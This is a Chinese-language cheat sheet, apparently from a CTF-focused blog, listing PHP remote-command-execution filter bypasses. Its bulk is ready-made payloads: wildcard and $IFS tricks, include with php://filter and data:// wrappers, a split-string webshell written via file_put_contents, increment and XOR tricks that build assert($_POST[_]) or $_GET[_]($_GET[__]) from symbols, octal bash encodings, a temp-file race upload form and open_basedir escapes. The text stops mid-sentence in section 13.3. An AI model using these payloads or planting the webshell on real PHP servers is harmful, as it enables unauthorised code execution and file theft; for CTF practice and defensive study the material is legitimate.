PHP 命令执行(RCE)各类绕过技巧汇总,持续更新。

一、关键字绕过

1.1 绕过 flag 关键字

转义符、通配符、引号拼接:

1
2
3
4
?c=system('tac fla\g.php');
?c=system('tac fla*.php');
?c=system('tac fla?.php');
?c=system('tac fla''g.php');

1.2 绕过空格

1
2
3
4
5
6
7
8
9
10
# %09(Tab)编码绕过
cat%09flag.php

# 重定向 <> 绕过(注意:< 和 / 不能连用,但 ca\t<>fl\ag 可以)
cat<>flag

# ${IFS} / $IFS$9
{cat,flag.txt}
cat${IFS}flag.php
cat$IFS$9flag.php

二、无数字/无字符 RCE——拼函数法

当数字被过滤时,利用 PHP 内置函数组合读文件。

2.1 基本组合(需要数字)

1
show_source(scandir(getcwd())[2]);

2.2 无数字读取

1
2
3
print_r(show_source(next(array_reverse(scandir(getcwd())))));
readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv())))));

2.3 等价函数

读文件 列目录/输出
show_source(即 highlight_file print_r
readfile var_dump
highlight_file var_export
file_get_contents(需 echo) scandir
file()(需 print_r)

2.4 替代 getcwd() 的方法

1
2
pos(localeconv())  // 返回 '.',即当前目录
dirname('FILE') // 也可获取当前路径

2.5 列目录

1
2
print_r(scandir(getcwd()));                     // 当前目录
print_r(scandir(next(scandir(getcwd())))); // 上级目录

2.6 外带变量

1
2
c=eval(array_pop(next(get_defined_vars())));&1=system('ls /');
?c=eval(end(current(get_defined_vars())));&b=phpinfo();

array_pop 会删除并返回数组最后一个元素。

2.7 通过 HTTP 头传命令

1
2
system(getenv(HTTP_X_CMD));
// 然后在 HTTP 头添加 X-Cmd: ls /

三、绕过 /

利用环境变量截取:

1
${HOME%%root}   # 得到 '/'

四、绕过 system 等函数

4.1 替代函数

1
2
3
4
5
6
7
8
9
# 反引号
`cat /flag`

# 其他执行函数
exec
shell_exec
popen
proc_open
passthru

4.2 正则绕过

1
(systee|systel)('tac /f???');

4.3 拼接绕过

1
("sys"."tem")("ca"."t /fl"."ag");

五、绕过 cat

5.1 替代命令

1
tac more less sort tail strings nl vi rev

5.2 复制/重命名/移动

1
2
3
4
cp /flag /var/www/html/1.txt
cat /flag | tee 1.txt
rename /flag 1.txt
mv /flag /var/www/html/1.txt

六、外带数据

6.1 GET 外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// eval + GET
?c=eval($_GET[1]);&1=system('tac flag.php');

// include + php://filter
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

// include + data://
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

// include + php://input(POST body 传 PHP 代码)
?c=include$_GET[1]?>&1=php://input

// include + 编码转换
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

// 写马
$a='<?p'.'hp ev'.'al($_P'.'OST['.'cmd]);?>';
file_put_contents('/var/www/html/cmd.php',$a);

include 被 ban 可用 requireinclude_oncerequire_once

6.2 Session 外带

1
?c=session_start();system(session_id());

然后在请求包中附带 PHPSESSID=ls注意:这里不解析空格)。


七、无字符 RCE——位运算/自增构造

当字母、数字被大量过滤时,通过位运算(^|~)或自增来构造字符串。

7.1 常用符号

  • ^:异或
  • |:或
  • ~:取反
  • 自增:$_++

7.2 自增法构造 assert($_POST[_])

测试发现 PHP 7.0.12 以上版本不可用,使用时需 URL 编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;
$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;
$_=$$____;$___($_[_]);
// 固定格式,构造出 assert($_POST[_]);

然后 POST 传入:_=phpinfo();

7.3 绕过 @

1
2
3
4
5
// 构造 $_GET[_]($_GET[__])
ctf_show=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);

// 同上,另一种写法
ctf_show=$_=(_/_._)['!'==','];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=cat /f*

7.4 绕过引号

1
2
3
// 构造 $_POST[0]($_POST[1])
ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]);
&0=system&1=cat /f*

01 也被 ban 的情况:

1
2
3
// 构造 $_POST[]($_POST[_])
ctf_show=$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
&_POST=system&_=cat /f*

7.5 绕过 /

1
2
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
// 相当于 $_GET[1]($_GET[2])

7.6 位运算构造 _GET(无引号)

当引号被过滤时,用异或构造:

1
${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

%86%86%86%86 ^ %d9%c1%c3%d2 异或后得到 _GET


八、绕过重定向使命令失效

当输入被重定向捕获导致命令不执行时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 短路
||

// 分号分隔
;

// 换行截断
%0a

// 特殊情况:输出被正则替换遮蔽
if(isset($_POST['c'])){
$c = $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

// 在输出被替换前强制刷新缓冲区
c=include('/flag.txt');ob_flush();
c=include('/flag.txt');ob_end_flush();
c=include('/flag.txt');exit();/die();

九、匹配命令(模糊路径)

1
2
3
4
5
# base64 读文件
/???/????64 ????.???

# bzip2 解压
/???/???/????2 ????.???

十、临时文件条件竞争

上传文件会被保存在 /tmp/ 下,文件名固定为 php + 6 个随机字符。

HTML POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://目标URL/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

POST 的文本内容:

1
2
#!/bin/sh
cat flag.php

通过 BurpSuite 改 POST 路径为:POST /?c=.%20/???/????????[@-[] HTTP/1.1

[@-[] 用来匹配大写字母和 @ 之间的字符(即匹配 php + 随机字符)。


十一、Linux 算术与环境变量

11.1 数字构造

1
2
$(())          # 0
$((~$(()) )) # 1(取反全 0 → 全 1 → -1,再取反得 1)

11.2 环境变量拼接

1
${PATH} ${PWD} ${SHELL} ${BASH} ${USER} ${HOME}

利用 ${PWD}(当前目录 /var/www/html):

1
2
3
4
5
6
7
${PWD}              # /var/www/html
${#PWD} # 13(字符串长度)
${PWD:3} # r/www/html(从第 3 位截到末尾,从 0 开始)
${PWD:~3} # html(从末尾向前截 3 位)
${PWD:3:1} # r
${PWD:~3:1} # h
${PWD:~A} # l(A 即 0)

${SHLVL} 表示数字 1:

1
${SHLVL:~A}         # 1

其他变量:

1
2
3
4
5
6
${RANDOM}           # 随机数
${#USER} # USER 长度
${#} # 0
${##} # 1
${#IFS} # 3
$? # 上条命令返回值(先构造错误命令使其为 1)

11.3 利用环境变量拼接命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /bin/base64 flag.php
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

# /bin/rev flag.php
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

# /bin/base64(利用 HOME)
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

# /bin/base64(利用 ${#})
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${RANDOM} ????.???

# /bin/cat
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.???

十二、open_basedir 绕过

当限制了访问目录时。

场景代码:

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c = $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

12.1 glob 协议列目录

1
var_export(scandir('glob:///*'));

12.2 原生类 DirectoryIterator

1
2
3
4
5
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}
exit(0);

读文件配合 WAF 脚本实现。

12.3 改配置逐级跳出

1
2
3
4
5
6
7
8
9
10
11
12
13
// 列根目录
mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

// 读文件
mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
readfile('/ctfshowflag');

十三、八进制编码 RCE

13.1 基础八进制

在 Linux 中,$'\154\163' 等同于 ls

限制:后面有参数会报错。

13.2 只用 0 和 1 构造

Linux 中数字的完整表示形式:((进制#对应进制下的值))

1
2
3
4
echo $((1<<1))                              # 2(构造出进制数)
echo $(($((1<<1))#10011010)) # 154(八进制 154 = 'l')
echo $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 报错,只被解析成 $'\154\163'
bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' # 成功执行 ls

构造 cat /flag(八进制):

1
2
echo $'\143\141\164\40\57\146\154\141\147'    # cat /flag,直接执行会报错
bash<<<$'\143\141\164\40\57\146\154\141\147' # 成功执行

完整 payload:

1
2
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
# 执行 cat /flag,$0 即 bash

13.3 连 0 和 1 都被 ban

$(=1)和 `$